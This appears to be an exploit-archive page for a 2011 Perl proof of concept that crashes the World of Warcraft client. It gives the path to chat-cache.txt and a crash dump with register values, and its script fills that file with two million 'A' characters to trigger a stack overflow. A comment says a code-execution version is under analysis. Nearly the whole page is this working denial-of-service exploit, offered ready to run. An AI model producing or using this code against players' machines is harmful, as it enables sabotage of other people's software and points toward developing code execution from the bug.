World Of Warcraft Local Stack Overflow Dos Exploit (chat-cache.txt)



EKU-ID: 922 CVE: OSVDB-ID:
Author: BSOD Digital Published: 2011-09-06 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#!/usr/bin/perl
#
#Exploit Title:
#World Of Warcraft Local Stack Overflow Dos Exploit (chat-cache.txt)
#
#Date: 04/09/2011
#
#Author: BSOD Digital (Fabien DROMAS)
#
#Other details:"Code Exec" Exploit in analysis.
#
#Tests:
#OS: Windows 7
#Versions: burning crusade,cataclism, Demo Version.
#
#Path:
#world of warcraft > WTF > account > file (numbers) > server_file > account_name_file > chat-cache.txt
#
#Error:
#This application has encountered a critical error:
#
#ERROR #132 (0x85100084) Fatal exception!
#
#Program: D:\World of Warcraft\Wow.exe
#ProcessID: 92024
#Exception: 0xC00000FD (STACK_OVERFLOW) at 0023:0109DA97
#
#Registers:
#----------------------------------------
#    x86 Registers
#----------------------------------------
#
#EAX=000F2000  EBX=1BD920D8  ECX=000CC22C  EDX=00000000  ESI=0012366F
#EDI=00000000  EBP=001EFC5C  ESP=001EF8A4  EIP=0109DA97  FLG=00010206
#CS =0023      DS =002B      ES =002B      SS =002B      FS =0053      GS =002B


my $file = "chat-cache.txt";
my $dos_junk = "A" x 2000000;
open($File, ">$file");
print $File $dos_junk;
close($File);